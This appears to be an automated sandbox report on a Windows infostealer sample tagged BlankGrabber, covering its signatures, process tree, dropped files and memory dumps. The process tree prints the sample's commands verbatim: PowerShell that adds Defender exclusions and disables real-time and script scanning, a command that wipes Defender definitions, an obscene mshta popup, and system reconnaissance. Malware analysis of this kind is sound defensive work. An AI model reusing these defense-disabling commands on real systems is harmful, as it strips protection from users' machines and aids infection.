Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
25/04/2026, 02:56
General
- Target 2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 10.0MB
- Sample260425-de2rwadv81
- SHA256 8c1ef32c68773e8cfbe5f7a4d08a7ec0c1681abdba7ce118066840ed5d00e38c
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Loads dropped DLL 17 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- UPX packed file 48 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-25_54959a92095a0c03fe73402e8e215591_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('oui je suis une pute', 0, 'sale pute ', 32+16);close()""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('oui je suis une pute', 0, 'sale pute ', 32+16);close()"4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
blank.aes
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_svlptpwa.g5j.ps1
memory/2588-144-0x000001DB4A2D0000-0x000001DB4A2D6000-memory.dmp
memory/2588-142-0x000001DB4A890000-0x000001DB4A8AA000-memory.dmp
memory/2588-149-0x000001DB31C80000-0x000001DB31C92000-memory.dmp
memory/2588-148-0x000001DB303C0000-0x000001DB303CC000-memory.dmp
memory/2588-145-0x000001DB4A8B0000-0x000001DB4A8BA000-memory.dmp
memory/2588-101-0x000001DB4A280000-0x000001DB4A29C000-memory.dmp
memory/2588-143-0x000001DB4A2C0000-0x000001DB4A2C8000-memory.dmp
memory/2588-150-0x000001DB4A4B0000-0x000001DB4A506000-memory.dmp
memory/2588-141-0x000001DB4A2B0000-0x000001DB4A2BA000-memory.dmp
memory/2588-102-0x000001DB4A3F0000-0x000001DB4A4A3000-memory.dmp
memory/2588-138-0x000001DB4A870000-0x000001DB4A88C000-memory.dmp
memory/2588-103-0x000001DB4A2A0000-0x000001DB4A2AA000-memory.dmp
memory/4452-155-0x00000252F6A50000-0x00000252F6A62000-memory.dmp
memory/4452-156-0x00000252F71C0000-0x00000252F7216000-memory.dmp
memory/4452-87-0x00000252F6BE0000-0x00000252F6C02000-memory.dmp
memory/4452-154-0x00000252DE460000-0x00000252DE46C000-memory.dmp
memory/4740-72-0x000001A19DE90000-0x000001A19E205000-memory.dmp
memory/4740-126-0x00007FFAB04D0000-0x00007FFAB0845000-memory.dmp
memory/4740-73-0x00007FFAB04D0000-0x00007FFAB0845000-memory.dmp
memory/4740-124-0x00007FFAC4340000-0x00007FFAC434D000-memory.dmp
memory/4740-125-0x00007FFABF860000-0x00007FFABF97C000-memory.dmp
memory/4740-136-0x00007FFAC0000000-0x00007FFAC00B8000-memory.dmp
memory/4740-137-0x000001A19DE90000-0x000001A19E205000-memory.dmp
memory/4740-135-0x00007FFAC03E0000-0x00007FFAC040E000-memory.dmp
memory/4740-134-0x00007FFAC4650000-0x00007FFAC465D000-memory.dmp
memory/4740-133-0x00007FFAC4A20000-0x00007FFAC4A39000-memory.dmp
memory/4740-132-0x00007FFABF980000-0x00007FFABFAF3000-memory.dmp
memory/4740-131-0x00007FFAC4350000-0x00007FFAC4373000-memory.dmp
memory/4740-77-0x00007FFAC05F0000-0x00007FFAC0604000-memory.dmp
memory/4740-130-0x00007FFAC4380000-0x00007FFAC43AD000-memory.dmp
memory/4740-129-0x00007FFAC4A40000-0x00007FFAC4A59000-memory.dmp
memory/4740-128-0x00007FFAC4A60000-0x00007FFAC4A6F000-memory.dmp
memory/4740-127-0x00007FFAC9090000-0x00007FFAC90B4000-memory.dmp
memory/4740-70-0x00007FFAB0850000-0x00007FFAB0E38000-memory.dmp
memory/4740-110-0x000001A19B490000-0x000001A19B533000-memory.dmp
memory/4740-123-0x00007FFAC05F0000-0x00007FFAC0604000-memory.dmp
memory/4740-111-0x00007FFAB0850000-0x00007FFAB0E38000-memory.dmp
memory/4740-80-0x00007FFABF860000-0x00007FFABF97C000-memory.dmp
memory/4740-25-0x00007FFAB0850000-0x00007FFAB0E38000-memory.dmp
memory/4740-78-0x00007FFAC4340000-0x00007FFAC434D000-memory.dmp
memory/4740-74-0x00007FFAC9090000-0x00007FFAC90B4000-memory.dmp
memory/4740-71-0x00007FFAC0000000-0x00007FFAC00B8000-memory.dmp
memory/4740-62-0x00007FFAC4A20000-0x00007FFAC4A39000-memory.dmp
memory/4740-66-0x00007FFAC03E0000-0x00007FFAC040E000-memory.dmp
memory/4740-64-0x00007FFAC4650000-0x00007FFAC465D000-memory.dmp
memory/4740-60-0x00007FFABF980000-0x00007FFABFAF3000-memory.dmp
memory/4740-58-0x00007FFAC4350000-0x00007FFAC4373000-memory.dmp
memory/4740-52-0x00007FFAC4380000-0x00007FFAC43AD000-memory.dmp
memory/4740-50-0x00007FFAC4A40000-0x00007FFAC4A59000-memory.dmp
memory/4740-30-0x00007FFAC9090000-0x00007FFAC90B4000-memory.dmp
memory/4740-48-0x00007FFAC4A60000-0x00007FFAC4A6F000-memory.dmp
memory/4756-140-0x00000213A4E80000-0x00000213A4F23000-memory.dmp